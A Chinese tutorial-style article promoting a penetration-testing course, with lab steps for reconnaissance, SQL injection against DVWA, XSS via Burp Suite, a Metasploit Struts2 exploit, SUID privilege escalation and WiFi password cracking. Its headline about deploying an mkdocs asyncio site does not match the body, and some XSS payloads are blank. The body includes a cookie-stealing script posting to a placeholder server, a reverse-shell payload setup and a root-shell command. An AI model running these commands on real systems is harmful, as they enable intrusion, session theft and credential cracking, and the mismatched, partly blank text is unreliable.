这个异步资源网站是如何构建与部署的：深入解析awesome-asyncio-cn的mkdocs文档站与Makefile工作流
2026/8/24 16:31:46
如果你正在寻找一套能带你从零基础到实战的网络安全学习路径，并且希望内容足够系统、能直接上手操作，那么这条由清华大佬整理的108集保姆级教程值得你重点关注。它不像很多零散的资料，而是将Web安全、渗透测试、Kali Linux这些核心技能打包成一条清晰的学习线，从环境搭建、工具使用到实战靶场演练，全部覆盖。
这套教程最核心的价值在于它的“可执行性”。它直接告诉你每一步该做什么：如何安装配置Kali渗透测试环境、如何使用Burp Suite等工具进行Web漏洞挖掘、如何从信息收集一步步走到内网渗透。对于初学者，最大的障碍往往是“知道概念但不知道如何动手”，而这个教程恰恰解决了这个问题，提供了大量的命令行操作和图形化工具演示。
本文将为你拆解这套教程的核心内容框架，并提供一个可落地的学习与验证路线。你会看到如何搭建自己的安全实验环境，如何使用关键工具进行基础测试，以及如何通过靶场（如DVWA、Vulnhub）来巩固技能。我们不会空谈理论，而是聚焦于“安装-配置-操作-验证”这个循环，确保你看完就能动手，做完就能看到结果。
1. 核心学习路径与资源速览
这套108集教程本质上是一个结构化的学习蓝图，它将庞大的网络安全知识体系分解为可顺序执行的模块。下表概括了其核心覆盖范围与所需资源，你可以快速判断是否符合你的学习阶段。
| 模块 | 核心内容 | 关键工具/环境 | 学习目标 | 前置要求 |
|---|---|---|---|---|
| 环境搭建与Linux基础 | Kali Linux安装、配置、基础命令；虚拟机/物理机环境 | VMware/VirtualBox, Kali Linux ISO | 能熟练操作Kali系统，完成网络配置、软件包管理 | 一台性能尚可的电脑（建议8G+内存） |
| 网络与协议安全 | TCP/IP协议栈、HTTP/HTTPS协议、抓包与分析 | Wireshark, Burp Suite, Nmap | 理解数据包流动，能分析HTTP请求/响应，发现协议层面问题 | 具备基础网络概念 |
| 信息收集 | 域名、IP、端口、服务、目录、指纹识别 | Nmap, Dirb/Dirbuster, WhatWeb, Shodan | 能为目标绘制详细的外部资产地图 | 熟悉命令行操作 |
| 漏洞扫描与利用 | 常见Web漏洞原理（SQLi, XSS, CSRF等）、自动化扫描 | OWASP ZAP, SQLmap, Nessus, Metasploit | 理解漏洞成因，能使用工具进行检测和初步验证 | 掌握信息收集技能 |
| 渗透测试实战 | 从外网打到内网、权限提升、横向移动、后渗透 | Metasploit, Mimikatz, 各类漏洞EXP | 形成完整的渗透测试思维，完成简单靶机挑战 | 熟悉漏洞利用流程 |
| 无线安全与密码破解 | WiFi加密原理、握手包抓取、密码破解 | Aircrack-ng, Hashcat | 在授权环境下测试无线网络安全性，理解密码强度重要性 | 支持监听模式的无线网卡 |
| CTF与靶场演练 | CTF解题思路、综合靶机（如Vulnhub系列）实战 | 各类CTF工具、靶机环境 | 综合运用所学技能，解决复杂、模拟真实场景的问题 | 掌握前面所有模块基础 |
学习门槛与资源：
- 硬件：一台主流配置的电脑即可，建议分配至少4GB内存（8GB或以上更佳）给Kali虚拟机。无需独立显卡。
- 软件：VMware Workstation Player或VirtualBox（免费）、Kali Linux镜像文件。
- 核心：所有工具均包含在Kali Linux中或可免费获取，教程重点在于教授如何使用它们。
- 安全边界：所有学习操作必须在你自己搭建的虚拟化实验室或明确授权的靶场中进行。未经授权对任何非自有系统进行测试均属违法行为。
2. 适用场景与学习目标
这套教程适合以下几类人群：
- 网络安全零基础初学者：希望有一条清晰、不迷茫的入门路径，避免在碎片化信息中浪费时间。
- IT运维/开发人员：想了解攻击者视角，提升自身系统与代码的安全防护能力。
- 准备转向安全领域的学习者：需要一套体系化的实战内容来构建知识框架和技能栈。
- 在校学生：用于课程补充、备战CTF比赛或完成相关毕业设计。
它能帮你解决的核心问题：
- “学什么？”：提供从基础到进阶的完整知识地图。
- “怎么练？”：每一步都有对应的工具操作和靶场环境进行实践。
- “如何验证？”：通过破解靶机、完成CTF挑战来获得正向反馈，巩固学习成果。
需要警惕的误区：
- 这不是“黑客速成班”：无法让你在几天内成为高手。安全需要扎实的基础和持续的实践。
- 严禁非法使用：教程中教授的技术如同手术刀，在医生手中可救人，在歹徒手中可伤人。务必坚守法律与道德底线。
- 理论仍需补充：教程以实操为主导，建议同步学习《计算机网络》、《Web安全深度剖析》等书籍以深化理论理解。
3. 实验环境准备：搭建你的“安全实验室”
一切始于一个安全、隔离的实验环境。我们强烈建议使用虚拟机，这是最安全、便捷的方式。
3.1 虚拟机软件安装
- 选择平台：
- VMware Workstation Player：个人使用免费，性能和对Kali的支持较好。 官网下载
- Oracle VirtualBox：完全免费开源，功能足够。 官网下载
- 安装：下载后，按照向导完成安装，过程与安装普通软件无异。
3.2 Kali Linux 虚拟机安装与配置
这是整个学习过程的基石操作系统。
- 获取镜像：访问 Kali Linux 官方下载页面，选择适合的版本（通常推荐最新的“Installer Images”）。
# 官方下载页面（请在浏览器中访问）： # https://www.kali.org/get-kali/ - 创建虚拟机：
- 打开VMware/VirtualBox，点击“创建新的虚拟机”。
- 选择“稍后安装操作系统”，类型选择“Linux”，版本选择“Debian 11.x 64位”。
- 内存建议分配至少4096 MB（4GB），处理器核心数建议2。
- 创建新虚拟磁盘，大小建议50GB以上，选择“将虚拟磁盘拆分成多个文件”。
- 安装系统：
- 启动虚拟机，选择下载好的Kali ISO文件作为启动盘。
- 进入安装界面，选择“Graphical install”（图形化安装）。
- 语言、区域设置按需选择。
- 主机名：可设置为
kali-lab。 - 域名：可留空或设置为
lab.local。 - 设置root密码：设置一个强密码并牢记。
- 磁盘分区：新手建议选择“使用整个磁盘”并“将所有文件放在一个分区中”。
- 软件选择：保持默认（已包含所有渗透测试工具）即可。
- 安装GRUB引导程序到硬盘。
- 安装完成，重启进入Kali系统。
- 初始配置：
- 更新系统：首次启动后，打开终端，执行以下命令更新软件源和系统。
sudo apt update && sudo apt full-upgrade -y - 安装VMware Tools/VirtualBox增强功能：这能实现宿主机与虚拟机间的文件拖拽、剪贴板共享和更好的屏幕分辨率。
- VMware：菜单栏 -> 虚拟机 -> 安装VMware Tools。
- VirtualBox：菜单栏 -> 设备 -> 安装增强功能。
- 配置网络：确保虚拟机网络适配器设置为“NAT模式”或“桥接模式”，能正常上网。
- 更新系统：首次启动后，打开终端，执行以下命令更新软件源和系统。
4. 第一阶段实战：信息收集与侦察
信息收集是渗透测试的“眼睛”。我们将使用Kali内置工具对一台授权测试的靶机进行侦察。
目标：获取靶机（例如：192.168.1.100，请替换为你实验环境中的靶机IP）的开放端口、运行服务、操作系统等基本信息。
4.1 使用 Nmap 进行主机发现与端口扫描
Nmap是网络探索和安全审计的瑞士军刀。
- 基础扫描：发现目标主机是否在线及常用端口。
# 在Kali终端中执行 nmap -sP 192.168.1.100 # Ping扫描，确认主机存活 nmap -sS 192.168.1.100 # TCP SYN扫描，最常用的端口扫描方式 nmap -sV 192.168.1.100 # 版本探测，尝试识别端口上运行的服务及版本 nmap -O 192.168.1.100 # 操作系统探测 - 综合扫描：一条命令获取更全面的信息。
nmap -A -T4 192.168.1.100 # -A: 启用操作系统检测、版本检测、脚本扫描和路由追踪 # -T4: 指定扫描速度（0-5），4为较快速度 - 结果解读：扫描完成后，你会看到类似下面的输出。重点关注
PORT,STATE,SERVICE,VERSION这几列。
解读：目标主机开放了22端口（SSH服务）和80端口（HTTP Web服务）。Web服务器是Apache 2.4.52，运行在Ubuntu Linux上。Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-27 10:00 UTC Nmap scan report for 192.168.1.100 Host is up (0.0010s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
4.2 使用 Dirb/Dirbuster 进行目录枚举
知道了有Web服务（80端口），下一步就是探索网站目录结构，寻找隐藏的页面或敏感文件。
- 使用 Dirb（命令行工具，速度快）：
dirb http://192.168.1.100 # 使用自定义字典（Kali自带字典在 /usr/share/wordlists/ 目录下） dirb http://192.168.1.100 /usr/share/wordlists/dirb/common.txt - 使用 Dirbuster（图形化工具，更直观）：
- 在Kali应用菜单中搜索并打开“Dirbuster”。
- Target URL:
http://192.168.1.100 - Wordlist: 选择
/usr/share/wordlists/dirb/common.txt - 点击“Start”开始扫描。
- 分析结果：扫描出的目录如
/admin/,/backup/,/config/等，可能就是下一步测试的入口点。
5. 第二阶段实战：Web漏洞探测与利用
以最常见的SQL注入（SQLi）和跨站脚本（XSS）为例，我们使用DVWA（Damn Vulnerable Web Application）靶场进行练习。
5.1 搭建DVWA靶场
DVWA是一个专门用于安全脆弱性学习的PHP/MySQL Web应用。
- 下载与部署：在Kali中，DVWA通常已预装或可轻松安装。
# 如果未安装，可以使用以下命令（假设已安装LAMP环境） sudo apt install git -y git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa sudo chown -R www-data:www-data /var/www/html/dvwa/ - 配置与访问：
- 启动Apache和MySQL服务：
sudo systemctl start apache2 mysql - 访问
http://127.0.0.1/dvwa/setup.php - 点击页面底部的“Create / Reset Database”按钮，初始化数据库。
- 使用默认账号
admin，密码password登录。 - 在“DVWA Security”页面将安全级别设置为“Low”，以便练习。
- 启动Apache和MySQL服务：
5.2 SQL注入（SQLi）手动测试
在DVWA中，将安全级别调至“Low”，进入“SQL Injection”模块。
- 探测注入点：在用户ID输入框输入
1'，观察页面是否报错。如果报数据库错误，说明可能存在注入。 - 判断字段数：输入
1' order by 1--，逐渐增加数字（2,3,4...），直到页面再次报错。假设order by 3报错，则说明有2个字段。 - 联合查询获取信息：
这会在页面中显示当前数据库名。1' union select 1, database()--
这会列出当前数据库中的所有表名。1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()-- - 自动化工具辅助：对于更复杂的注入，可以使用SQLmap。
# 获取当前数据库名 sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=你的会话ID; security=low" --current-db # 获取指定数据库的所有表 sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=你的会话ID; security=low" -D dvwa --tables
5.3 使用 Burp Suite 进行XSS测试
Burp Suite是Web安全测试的集成平台，我们用它来测试反射型XSS。
- 配置代理：
- 打开Burp Suite，在Proxy -> Options中确保代理监听在
127.0.0.1:8080。 - 在浏览器（Kali中的Firefox）中设置代理为
127.0.0.1:8080，并安装Burp的CA证书（访问http://burp下载）。
- 打开Burp Suite，在Proxy -> Options中确保代理监听在
- 拦截与测试：
- 在DVWA中，将安全级别调至“Low”，进入“XSS reflected”模块。
- 开启Burp的“Intercept is on”拦截功能。
- 在DVWA的输入框输入一个测试payload，如 ``，点击提交。
- 请求会被Burp拦截。在Raw标签页，你可以看到我们输入的payload在请求参数中。
- 右键点击请求，选择“Send to Repeater”。
- 重放与验证：
- 切换到Repeater模块，你可以修改payload，例如改为 ``，然后点击“Send”。
- 观察右侧的响应，如果我们的脚本被原样返回并在浏览器中执行（弹窗），则漏洞存在。
- 进阶测试：尝试更复杂的payload，如窃取Cookie的脚本。
（注意：此操作仅用于本地靶场学习，切勿用于任何非授权测试）<script>new Image().src='http://你的接收服务器/steal?cookie='+document.cookie;</script>
6. 第三阶段实战：漏洞利用与权限提升
当我们通过Web漏洞（如文件上传）获取了一个低权限的shell（命令执行窗口）后，下一步就是尝试提升权限。
6.1 利用 Metasploit 获取初始访问
假设目标有一个已知漏洞的Web服务（例如：Apache Struts2 S2-045）。
- 启动Metasploit：
msfconsole - 搜索与选择模块：
search struts2 s2-045 use exploit/multi/http/struts2_content_type_ognl - 设置参数并执行：
如果成功，你会得到一个show options # 查看需要设置的参数 set RHOSTS 192.168.1.100 # 设置目标IP set RPORT 8080 # 设置目标端口（如果不是80） set TARGETURI /struts2-showcase/ # 设置漏洞路径 set payload linux/x86/meterpreter/reverse_tcp # 设置Payload set LHOST 192.168.1.50 # 设置你的Kali IP（接收反弹shell的地址） set LPORT 4444 # 设置监听端口 exploit # 执行攻击meterpreter会话。
6.2 权限提升（Linux）
在meterpreter会话或一个普通shell中，我们可以尝试提权。
- 信息收集：
# 在获取的shell中执行 whoami # 查看当前用户 id # 查看用户ID和组信息 uname -a # 查看系统内核版本 sudo -l # 查看当前用户可以以root身份运行哪些命令（需要密码） - 查找可利用的漏洞：
- 将系统内核版本复制出来，在Kali中搜索公开的提权EXP。
- 使用
LinEnum或linux-exploit-suggester等脚本自动化查找潜在提权点。# 在meterpreter中上传提权脚本 upload /usr/share/exploitdb/exploits/linux/local/xxxx.c /tmp/ # 切换到shell环境 shell cd /tmp gcc xxxx.c -o exp # 编译EXP chmod +x exp ./exp # 执行EXP，尝试提权
- 利用SUID/GUID文件：
# 查找具有SUID权限的可执行文件 find / -perm -u=s -type f 2>/dev/null # 查找已知的可利用的SUID程序，如nmap、vim、find、bash等的老版本 # 例如，如果find有SUID权限，可以尝试： find . -exec /bin/bash -p \;
7. 无线安全与密码破解初探
在授权环境下，了解无线网络的安全机制。
7.1 监听模式与抓包
前提：需要一块支持监听模式（Monitor Mode）的无线网卡。
- 启用监听模式：
sudo airmon-ng start wlan0 # wlan0是你的无线网卡接口名 # 成功后，会生成一个新接口，如 wlan0mon - 扫描附近WiFi：
记录目标AP的BSSID（MAC地址）和信道（CH）。sudo airodump-ng wlan0mon - 抓取握手包：
等待有客户端连接该AP时，抓取包含四次握手的数据包。sudo airodump-ng -c 6 --bssid 目标BSSID -w capture wlan0mon # -c 指定信道，--bssid 指定目标AP，-w 指定抓包文件前缀
7.2 使用 Aircrack-ng 破解密码
- 使用字典破解：
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap # -w 指定字典文件，rockyou.txt是Kali自带的一个常用密码字典 - 使用 Hashcat（更强大）：
- 首先将抓到的握手包转换为Hashcat支持的格式（如.hccapx）：
aircrack-ng capture-01.cap -J capture_hash - 使用Hashcat进行破解：
hashcat -m 2500 capture_hash.hccapx /usr/share/wordlists/rockyou.txt
- 首先将抓到的握手包转换为Hashcat支持的格式（如.hccapx）：
8. 常见问题与排查方法
在学习和实践过程中，你一定会遇到各种问题。下表列出了一些典型问题及解决思路。
| 问题现象 | 可能原因 | 排查方式 | 解决方案 |
|---|---|---|---|
| Kali虚拟机无法上网 | 虚拟机网络配置错误、宿主机网络问题 | ping 8.8.8.8,ip addr show查看IP | 检查虚拟机网络适配器设置（NAT/桥接），重启网络服务sudo systemctl restart networking |
| Nmap扫描无结果 | 目标IP错误、目标关机、防火墙阻挡 | ping 目标IP，检查目标主机状态 | 确认目标IP，关闭目标防火墙（实验环境），或使用-Pn参数跳过主机发现 |
| Burp Suite无法拦截HTTPS流量 | 浏览器未正确安装Burp CA证书 | 访问http://burp下载证书，并在浏览器证书管理中导入并信任 | 确保证书已正确安装并启用为“信任的根证书颁发机构” |
| SQLmap跑不出数据 | 目标有WAF、注入点判断错误、参数格式问题 | 使用--tamper参数尝试绕过，使用--level和--risk提高检测等级，检查URL和Cookie格式 | 仔细检查请求，使用--proxy=http://127.0.0.1:8080通过Burp观察请求，确认注入点有效 |
| Metasploit exploit 失败 | 目标不存在此漏洞、Payload不匹配、网络不通 | check命令验证漏洞，show payloads换用其他Payload，set payload windows/... | 确认目标服务版本与漏洞匹配，尝试reverse_http或bind_tcp等不同Payload，检查防火墙规则 |
| 提权EXP编译失败 | 目标系统缺少gcc、库文件、EXP代码不兼容 | which gcc, 查看错误信息 | 在Kali上交叉编译（-m32或-m64指定架构），或寻找静态编译好的二进制版本上传 |
| 无线网卡不支持监听模式 | 网卡驱动问题、硬件不支持 | sudo airmon-ng查看网卡列表，iw list查看能力 | 更换外置支持监听模式的网卡（如TL-WN722N），或使用虚拟机USB直通功能 |
9. 学习路线进阶与资源推荐
完成上述基础实战后，你可以沿着以下路径深化学习：
- 深入漏洞研究：不再满足于工具使用，开始阅读CVE详情、分析漏洞原理、尝试自己编写简单的POC。
- 内网渗透拓展：学习横向移动、域渗透、持久化控制等高级技术。可以搭建模拟域环境进行练习。
- 参与CTF比赛：在平台如CTFHub、BugKu、攻防世界等上解题，这是锻炼综合能力的绝佳方式。
- 实战靶场：挑战更复杂的综合靶机，如Vulnhub上的“HackTheBox”风格靶机、PentesterLab等。
- 关注安全社区：订阅安全博客（如安全客、FreeBuf）、关注GitHub上的安全工具更新、参与漏洞众测（在合法合规平台）。
核心资源推荐：
- 靶场平台：
- Hack The Box (HTB)：需要一定基础，包含持续更新的机器和挑战。
- TryHackMe：对新手更友好，有引导性的学习路径和房间（Room）。
- Vulnhub：提供大量免费的、可下载的虚拟机靶机。
- 漏洞练习平台：
- DVWA, bwapp, WebGoat：经典的Web漏洞练习平台。
- OverTheWire (Bandit系列)：非常好的Linux命令行及基础安全挑战。
- 文档与书籍：
- 《Metasploit渗透测试指南》
- 《Web安全深度剖析》
- 《内网安全攻防：渗透测试实战指南》
- OWASP Top 10：每年更新的十大Web应用安全风险，必读。
这套108集的教程是一个强大的引擎和地图，能带你穿越网络安全学习的迷雾区。真正的成长来自于将教程中的每一步，在自己的实验环境中亲手复现、遇到错误、搜索解决、并最终获得“啊哈！”时刻的顿悟。从今天起，启动你的Kali虚拟机，选择一个最简单的靶场，开始第一次扫描。记住，在安全的道路上，合法的练习和持续的好奇心是你最可靠的伙伴。